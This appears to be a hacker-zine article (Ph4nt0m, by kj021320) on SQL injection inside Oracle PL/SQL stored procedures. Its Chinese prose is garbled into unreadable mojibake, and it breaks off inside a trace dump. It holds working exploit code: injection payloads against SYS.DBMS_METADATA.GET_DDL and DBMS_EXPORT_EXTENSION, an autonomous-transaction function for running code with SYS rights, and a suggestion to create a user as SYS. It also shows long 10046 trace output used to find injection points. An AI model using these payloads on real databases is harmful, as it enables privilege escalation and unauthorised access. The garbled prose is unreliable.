==Ph4nt0m Security Team== Issue 0x02, Phile #0x06 of 0x0A |=---------------------------------------------------------------------------=| |=--------------------=[ ÉîÈëÍÚ¾òORACLEÄÚ²¿SQLINJECTION ]=-----------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=-----------------------=[ By kj021320 ]=----------------------=| |=----------------------=[ ]=---------------------=| |=---------------------------------------------------------------------------=| Ò»¡¢Ç°ÑÔ ºÃ¾ÃûдPAPERÁË£¬ÈÕ¾ÃÖ®ÊèÀÁ³ÉÐÔ¡£ÎÒ¾õµÃÔÚ¹úÄÚµÄORACLE¹¥·À¼¼ÊõÑо¿µÃ±È½ÏÉÙ£¬±È ½ÏǷȱ¡£»òÐíÊÇÎҹª¹ÑÎÅ¡£ÔÚ¹úÍâÐíÐí¶à¶àµÄPAPERÒѾ­³ÉΪÁËORACLE¹¥»÷¼¼ÊõµÄ¾­µä¡£ ÄÇô½ÓÏÂÀ´µÄ¾ÍÊǸú´ó¼ÒÌÖÂÛһϹØÓÚORACLEÄÚ²¿SQL×¢Éä¼¼Êõ¡£ÏàÐÅ´ó¼Ò¶¼¿´¹ýÎÒдµÄ ¡¶ART OF WEB-SQL-INJECTIONµÚ2¾í ORACLEƪ ¡·07ÄêµÄ³õµÄʱºò£¬±¾ÎÄÒѾ­Ð´ºÃ ¡¶¼ì²âº¯Êý×¢Èëin ORACLE¡·¡£¿ÉϧÔÚżµÄÒ»´ÎÊý¾Ý¶ªÊ§ÖУ¬Ðí¶àPAPER½øÁË·ØÄ¹¡£Èç½ñ±êÌâ »»ÁËΪ¡¶ÉîÈëÍÚ¾òORACLEÄÚ²¿SQLINJECTION¡·£¬ÎªÊ²Ã´£¿ÆäʵORACLEµÄÄÚ²¿SQL×¢Éä²»µ¥µ¥³ö ×ÔÓÚº¯Êý ´æ´¢¹ý³Ì£¬Èç¹ûÄãÊÇÕâÑùÏëµÄ»°£¬ÄǾÍÌ«ÏÁ°¯ÁË£¬Æäʵ»¹ÓкöàµÄµØ·½»¹ÊÇ»á³öÏÖ SQL×¢ÉäµÄ¡£ÀýÈçËûµÄTRIGGER£¬SQLJ£¬JOBµÈµÈ¡­Ï£Íû±¾ÎÄ¿ÉÒÔÈÃÄãÔÚORACLE¹¥·ÀÖÐÊÜÒæ£¬½ÓÏ À´¾ÍÂÖµ½´ó¼ÒÅÄשÁË¡£ ¶þ¡¢ÕýÎÄ ÔÚWEBÉÏÃæSQLINJECTIONÒѾ­³ÉΪµ±½ñËùνµÄ¡°ÈÕ¡±Õ¾Ö÷Á÷¡£ÕâÀï¾Í²»·Ï»°£¬Äǵ½Êý¾Ý¿â ²ãÃæµ½µ×ʲôÑùµÄ´æ´¢¹ý³Ì/º¯Êý»á³öÏÖSQLINJECTIONÄØ£¿Ê×ÏÈ¿´Ò»¸öÀý×Ó£º Example1: CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2) AS BEGIN execute immediate 'begin insert into KJTESTTABLE values('''|| injcode ||''');end;'; END; ¿´ÒÔÉϵĴ洢¹ý³Ì£¬°Ñ²ÎÊýдÈëÒ»¸ö±íÖУ¬ÔÚÒ»°ã¿ª·¢¾­³£ÓÐÕâÑùµÄÇé¿ö³öÏÖ¡£ ÄÇô¿´ÏÂÃæµÄµ÷Óã¬ÈçÏ»á°Ñ×Ö·û´®1дÈë±í KJTESTTABLEÀïÃæ¡£ declare begin KJTEST('1'); end; ÄÇôÏÖÔÚ¿ÉÒÔ¶Ôinjcode½øÐÐPOCһϠdeclare begin KJTEST('1'');dbms_output.put_line(''hello'); end; Ö´ÐÐÕâÑùµÄ·½·¨¿ÉÒÔ¿´µ½ÔÚ¿ØÖÆÌ¨Êä³öhelloµÄ×ÖÑù¡£ OK£¬Õâ¸ö¹¥»÷µÄEXP¾Í·Ç³£ºÃдÁË£¡ declare begin KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello'); end; ÄÇô£¬ÕâÑùµÄ´æ´¢¹ý³ÌÖгöÏÖSQL×¢É䣬һ°ãÓû§Ð´µÄ´æ´¢¹ý³ÌÓÐÕâÑùµÄ©¶´£¬µ¹»¹ºÃ¡£ Ö»ÄÜ¡°ÈÕ±¾ÈË¡±¡£µ«ÊÇÈç¹û³öÏÖÔÚSYS SYSTEMÕâÀàµÄϵͳ¹ÜÀíÔ±Óû§µÄ´¢´æ¹ý³ÌÖУ¬ÎÊÌâ¾Í´ó ÁË¡£ÏÖÔÚÔÙ¿´¿´ORAÖУ¬·½·¨µ÷ÓÃȨÏÞµÄÄ£ÐÍ¡£ ÈçÏ£¬Ò»¸öÆÕͨȨÏÞµÄÓû§KJµ÷ÓÃsys.dbms_metadata.get_ddl¿ÉÒÔ»ñȡij¸öϵͳ¶ÔÏó µÄDDLÔ´´úÂ룬ÄÇôµ±Õâ¸öº¯Êý±»µ÷ÓõÄʱºò£¬ÒòΪ¸Ãº¯ÊýÓµÓÐÕßÊÇSYS ËùÒÔµ÷ÓÃÕß±»¸³Óè sysͬµÈ½ÇÉ«µÄȨÏÞ¡£¿ªÊ¼²Ù×÷²éѯϵͳ¶ÔÏó£¬È»ºó°Ñ½á¹û·´»¹¸øKJ£¬ÔÙ´Îת»»ÎªKJ×Ô¼ºµÄȨ ÏÞ ¿´ÏÂÃæµÄָʾ£º Óû§--->µ÷Óú¯Êý(ת»»Îªº¯ÊýÓµÓÐÕßµÄȨÏÞ)--->Ö´ÐвÙ×÷--->»ñÈ¡½á¹û--->(ת»»Îª×Ô¼ºÈ¨ÏÞ) --->½áÊø ¿´Ã÷°×ÉÏÃæµÄÎÒÃǾͿÉÒÔ¼ÌÐøÁË£¬Èç¹ûÔÚSYSÓû§µÄ¶ÔÏóÖÐÓÐSQL×¢Éä³öÏÖ£¬ÄÇôÎÒÃÇ¾Í ÒÔSYSÓû§Éí·Ý×öʰüÀ¨Ìí¼ÓÓû§µÈ¡£ÄÇôÔÚÉÏÃæµÄEXP-CODEÖУ¬ÎÒÃÇÍêÈ«¿ÉÒÔÒÔSYSÓû§Éí ·ÝÖ´ÐÐexecute immediate 'create user kj identified by kj'£¬OKÉÏÃæµÄµÚÒ»¸öÀý×ÓÎÒ ÃÇÌÖÂÛµ½ÕâÀï¡£ ²¢²»ÊÇËùÓеÄORAÄÚ²¿SQL×¢Éä¶¼¿ÉÒÔÕâÑùʹÓõģ¡ÔÚÉÏÊöÕâ¸öÀý×ÓÀïÃæÒѾ­¿ÉÒÔËãÊÇ·Ç ³£ÉÙ¼ûµÄÁË¡£¶øÇÒ¼«ºÃÀûÓã¡ÔÙ¿´ÏÂÃæÒ»¸öÀý×Ó Example2: CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2) AS tbn varchar2(1000); BEGIN execute immediate 'select table_name from user_tables where table_name='''|| injcode ||'''' into tbn; dbms_output.put_line(tbn); END; ÄÇôÎÒÃÇÕý³£µ÷ÓõÄʱºòÔò²ÉÓô˷½Ê½£º declare begin KJTEST('KJTESTTABLE'); end; ²é¿´Óû§ÏµÍ³±íÖÐÃû×ÖΪKJTESTTABLEµÄ¼Ç¼¡£ OK£¬ÏÖÔÚÁôÒâ´æ´¢¹ý³ÌÖÐʹÓö¯Ì¬Ö´ÐÐSQLÓï¾ä£¬ÒòΪĿ±êÔËÐеÄÊǵ¥¸öSQLÓï¾ä£¬ÄÇôÎÒ ÃDz»ÄÜÏñÀý×Ó1ÄÇÑùʹÓöàÓï¾ä½øÐй¥»÷£¬µ«ÊÇÎÒÃÇ¿ÉÒÔ¿ØÖƵ±Ç°Óï¾äÖ´ÐеÄÁ÷³Ì¡£Óиö·½ ·¨£¬¾ÍÊÇÎÒÃÇ·ÅÈëÒ»¸ö½¨Á¢EXPµÄº¯Êý¡£ÈÃÕâ¸öSQLÖ´Ðе÷Ó᣿´ÒÔÏÂÀûÓ㺠CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS RESULT INTEGER; PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE VALUES(021320)'; COMMIT; RETURN(RESULT); END KJHACKEREXP; declare begin KJTEST('KJTESTTABLE''||KJHACKEREXP()||'''); end; OK£¬ÕâÑù¾ÍÊÇÔÚORACLEÀïÃæ²úÉúµÄSQLINJECTION£¬Ç°Ï·Íê±Ï£¡ÏÖÔÚ½øÈëÍÚ¾ò²¿·Ö¡£ ÍÚ¾ò·ÖΪ2²¿·Ö£ººÚºÐÓë°×ºÐ·½Ê½¡£ Ê×ÏȽéÉܼòµ¥µÄÊǰ׺з½Ê½£¬ORACLEÖÐÿ¸ö¶ÔÏóµÄSOURCE¶¼»á±£´æÔÚÊý¾Ý¿âÄڵġ£ÄÇô ÎÒÃÇ¿ÉÒÔ²ÉÓÃÒ»¸ö´æ´¢¹ý³ÌÀ´»ñÈ¡SYS.DBMS_METADATA.GET_DDL£¬ÀàËÆÒ»ÏÂÓï¾ä£º SELECT SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP') FROM DUAL ¿ÉÒÔ»ñÈ¡¸Ã¶ÔÏóµÄData Declare Source£¬µ±È»ÄãÒ²¿ÉÒÔ×Ô¼º²éѯ£º SELECT * from all_source µ«ÊÇÊÇ·ñÕâô¼òµ¥ÄØ£¿µ±È»²»»áÁË£¬ÔÚORACLEÖУ¬Ò²ÌṩÁ˶Դ洢¹ý³Ìº¯ÊýµÈ¼ÓÃܵÄÊֶΣ¬ ÀàËÆSQLSERVERµÄ´æ´¢¹ý³Ì¼ÓÃÜ¡£ËùÒÔµ±Äã²é¿´ctxsys.CTX_DDLµÄʱºò»á·¢ÏÖÒÔ϶«Î÷³öÏÖ£º create or replace package body ctxsys.CTX_DDL wrapped ¶Ô£¬¾ÍÊÇORACLEÖÐwrap¼ÓÃܱàÂëÁË£¬ÄÇô¾ÍÖ»ÄܺںвâÊÔÁË£¬²âÊÔµÄʱºòÈçºÎÈ¥»ñÈ¡µ±Ê± ORACLEÖ´ÐеIJÙ×÷ÄØ£¿¿ÉÒÔͨ¹ýÒÔÏµķ½·¨£º 1£®ORACLE ÍøÂç»òÕß·þÎñÆ÷µÄ traces Îļþ ¡£ 2£®·ÖÎöORACLEµÄÖØ×öÈÕÖ¾ ¡£ 3£®²ÉÓÃÊý¾Ý¿â´¥·¢Æ÷( TRIGGER)¼à¿Ø²Ù×÷ ¡£ 4£®²éѯORACLE SQL»º´æ³Ø (SGA) µÈµÈ£¬Èç¹ûÄãÓÐÄÜÁ¦·´±àÒëORACLE´æ´¢¹ý³Ìµ±È»×îºÃ²»¹ýÁË¡£ ÏÂÃæÏȽéÉܲÉÓÃ×î¼òµ¥µÄ²éѯSGA£¬ÄûØÀ´Õâ¸ö±È½Ï¾­µäµÄEXPÖ´ÐÐһϣº SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE(''KJ021320'');END;--','SYS',0,'1',0) FROM DUAL È»ºóÖ´ÐÐÒÔϲ鿴SGA SELECT A.ADDRESS ADDRESS,S.HASH_VALUE HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT SQL_TEXT,U.USERNAME PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND A.HASH_VALUE=S.HASH_VALUE AND A.PARSING_USER_ID=U.USER_ID AND A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' FROM V$SQLTEXT_WITH_NEWLINES X WHERE X.ADDRESS=A.ADDRESS AND X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE '%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3 µÃµ½ÈçϽá¹û£º ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID PARSING_SCHEMA_ID 668C9120 1612804047 0 BEGIN "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ0 SYS SYS 668C9120 1612804047 1 21320');END;--".ODCIIndexUtilCleanup(:p1); END; SYS SYS BEGIN "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ021320');END; --".ODCIIndexUtilCleanup(:p1); END; ÒòΪËüÄÚ²¿ÊÇÒ»¸ö¶àÓï¾äµÄ×¢Éäµã£¬ËùÒÔÎÒÃÇ¿ÉÒÔ²ÉÓÃExample1µÄ¹¥»÷·½Ê½¡£ ½ÓÏÂÀ´ÎÒÃǼÌÐøÌÖÂÛʹÓÃORACLE TRACEµÄ·½Ê½À´½øÐмǼ£¬Óм¸ÖÖ·½·¨¿ÉÒԵõ½Ò»¸öSQL Óï¾äÖ´ÐÐʱºǫ́µÄtraceÎļþ£¬Ò»¸öÊÇÓÃSQL_TRACE£¬Ò»¸öÊÇÓÃDBMS_SUPPORT°ü»òÕßDBMS_SYSTEM °ü£¬»¹ÓÐÒ»ÖÖ¾ÍÊÇÖ±½ÓʹÓÃ10046 event¡£¾ßÌ巽ʽÈçÏ£º ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12'; YOUR SQL STATEMENT... ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'; ÆäÖеÄlevelÓÐ1£¬4£¬8£¬12¼¸¸öÑ¡ÏÆäÖÐ1Ï൱ÓÚÉèÖÃSQL_TRACE=TRUEÖ®ºóµÄ½á¹û£¬4°üÀ¨ 1µÄ½á¹ûºÍ°ó¶¨±äÁ¿µÄʵ¼ÊÖµ£¬8°üÀ¨1µÄ½á¹ûºÍµÈ´ýʼþµÄÇé¿ö£¬12Ôòͬʱ°üº¬1µÄ½á¹û£¬°ó¶¨ ±äÁ¿µÄʵ¼ÊÖµºÍµÈ´ýʼþÇé¿ö£¬ËùÒÔ¿ÉÒÔ˵level 12ÊÇ×îΪÏêϸµÄtraceÁË¡£ OK£¬»ù´¡ËµÍê¡£ÎÒÏÖÔÚÄùýÈ¥µÄÒ»¸ö©¶´³öÀ´²âÊÔ£º http://www.milw0rm.com/exploits/3363 ÕâÀïµÄSYS.DBMS_METADATA.GET_DDL³öÏÖSQL×¢Èë©¶´£¬ÄÇô¿´ÎÒÔÚPLSQLÉÏÃæÔõÃ´ÖØÏÖ ËûµÄ×¢ÈëµãÄÚ²¿Ç°Ï·£º CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS RESULT INTEGER; PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)'; COMMIT; RETURN(RESULT); END KJHACKEREXP; ÒÔÏÂÎªÖØµãÓï¾ä£º ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12'; SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL; ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'; Ö´ÐÐÖ®ºó·¢ÏÖÒì³££¬ºöÂÔµô¾Í¿ÉÒÔ¡£OK£¬ÎÒÕÒµ½oracle\admin\{SID}\udump Ŀ¼ÏÂÃæÓÐ Ò»´ó¶ÑtrcÎļþ£¬ÕÒÕÒ¿´ÒÔÏÂÊDz¶×½µ½µÄ¼Ç¼£¬ºÜ¶àºÜÂÒÌù³öÀ´¿´²»Ï°¹ßµÄÇë¼ûÁ£º ===================== PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 tim=5821472460 hv=3907016812 ad='666488bc' SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL ÕâÀïÊÇÎÒÃÇ¿ªÊ¼µÄ END OF STMT PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5821472453 BINDS #1: EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821473044 WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message from client' ela= 712 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 tim=5821474773 hv=3714800427 ad='665afb10' SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL END OF STMT PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821474767 BINDS #4: EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821475306 FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5821475420 STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL ' ===================== PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 tim=5821479726 hv=2617299981 ad='665793f0' SELECT properties, version, xmltag, udt, schema, viewname, flags, decode(bitand(flags,1), 0, 0, 1), decode(bitand(flags,2), 0, 0, 1), decode(bitand(flags,4), 0, 0, 1), decode(bitand(flags,8), 0, 0, 1), decode(bitand(flags,16), 0, 0, 1), decode(bitand(flags,32), 0, 0, 1), decode(bitand(flags,64), 0, 0, 1), decode(bitand(flags,128), 0, 0, 1), decode(bitand(flags,256), 0, 0, 1), decode(bitand(flags,512), 0, 0, 1), decode(bitand(flags,1024), 0, 0, 1), decode(bitand(flags,2048), 0, 0, 1), decode(bitand(flags,4096), 0, 0, 1), decode(bitand(flags,8192), 0, 0, 1), decode(bitand(flags,16384), 0, 0, 1), decode(bitand(flags,32768), 0, 0, 1) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||'' AND model='ORACLE' AND version<=902000000 µÚÒ»¸ö×¢Èëµã£¡ END OF STMT PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821479719 BINDS #4: ===================== PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821480756 hv=1324055951 ad='6684058c' INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320) END OF STMT PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,tim=5821480750 BINDS #5: EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,tim=5821481459 XCTEND rlbk=0, rd_only=0 ===================== PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 tim=5821485357 hv=3615375148 ad='6683f908' COMMIT END OF STMT EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821485350 EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,tim=5821485780 FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821485932 STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS BY INDEX ROWID METAVIEW$ ' STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ ' ===================== PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 tim=5821489243 hv=1567650580 ad='665750fc' SELECT COUNT(*) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||'' µÚ2¸ö×¢Èëµã END OF STMT PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821489235 BINDS #4: ===================== PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821489578 hv=1324055951 ad='6684058c' INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320) END OF STMT PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,tim=5821489574 BINDS #5: EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,tim=5821489747 XCTEND rlbk=0, rd_only=0 EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821489880 EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,tim=5821489928 FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,tim=5821489962 STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE ' STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ ' FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=4,tim=5821491101 WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0 WAIT #1: nam='SQL*Net break/reset to client' ela= 74 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net break/reset to client' ela= 204 p1=1413697536 p2=0 p3=0 WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message from client' ela= 3958 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 tim=5821500658 hv=3517412409 ad='669b2620' begin :id := sys.dbms_transaction.local_transaction_id; end; END OF STMT PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821500653 BINDS #4: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5821500860 WAIT #4: nam='SQL*Net message from client' ela= 2708856 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 tim=5824210045 hv=678177122 ad='669adadc' begin sys.dbms_output.get_line(line => :line, status => :status); end; END OF STMT PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5824210040 BINDS #4: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0 bfp=04a8fb80 bln=22 avl=00 flg=05 WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5824210269 WAIT #4: nam='SQL*Net message from client' ela= 6717782 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 tim=5830928325 hv=2888538493 ad='669abe84' select 'x' from dual END OF STMT PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928320 BINDS #4: EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928419 WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 WAIT #4: nam='SQL*Net message from client' ela= 406 p1=1413697536 p2=1 p3=0 WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5830928945 WAIT #4: nam='SQL*Net message from client' ela= 515 p1=1413697536 p2=1 p3=0 STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL ' ===================== PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61 tim=5830929706 hv=2628502993 ad='669c5924' begin if :enable = 0 then sys.dbms_output.disable; else sys.dbms_output.enable(:size); end if; end; END OF STMT PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830929702 BINDS #4: bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0 bfp=04a8fb68 bln=22 avl=02 flg=05 value=1 bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24 bfp=04a8fb80 bln=22 avl=02 flg=01 value=10000 WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830930021 WAIT #4: nam='SQL*Net message from client' ela= 38283 p1=1413697536 p2=1 p3=0 STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL ' ===================== PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830968630 hv=3517412409 ad='669b2620' begin :id := sys.dbms_transaction.local_transaction_id; end; END OF STMT PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830968625 BINDS #1: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830968820 WAIT #1: nam='SQL*Net message from client' ela= 456 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830969751 hv=1998264515 ad='6683df78' SELECT * FROM KJTESTTABLE END OF STMT PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5830969746 BINDS #1: EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830969837 WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message from client' ela= 453 p1=1413697536 p2=1 p3=0 WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,tim=5830970423 WAIT #1: nam='SQL*Net message from client' ela= 3199 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830973736 hv=1998264515 ad='6683df78' SELECT * FROM KJTESTTABLE END OF STMT PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830973731 WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0 WAIT #4: nam='SQL*Net message from client' ela= 20741 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 tim=5830994714 hv=189272129 ad='66f9f01c' select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname,o.dataobj#,o.flags from obj$ o where o.obj#=:1 END OF STMT PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994709 BINDS #5: bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08 oacfl2=1 size=24 offset=0 bfp=04bfa444 bln=22 avl=04 flg=05 value=30183 EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994889 FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5830994941 STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE ACCESS FULL KJTESTTABLE ' ===================== PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830995126 hv=3517412409 ad='669b2620' begin :id := sys.dbms_transaction.local_transaction_id; end; END OF STMT PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830995122 BINDS #1: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 WAIT #1: nam='SQL*Net message to client' ela= 4 p1=1413697536 p2=1 p3=0 EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830995299 WAIT #1: nam='SQL*Net message from client' ela= 16489 p1=1413697536 p2=1 p3=0 ===================== PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 tim=5831012027 hv=678177122 ad='669adadc' begin sys.dbms_output.get_line(line => :line, status => :status); end; END OF STMT PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5831012022 BINDS #1: bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0 bfp=04c0f830 bln=2000 avl=00 flg=05 bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0 bfp=04a8fb80 bln=22 avl=00 flg=05 WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0 EXEC 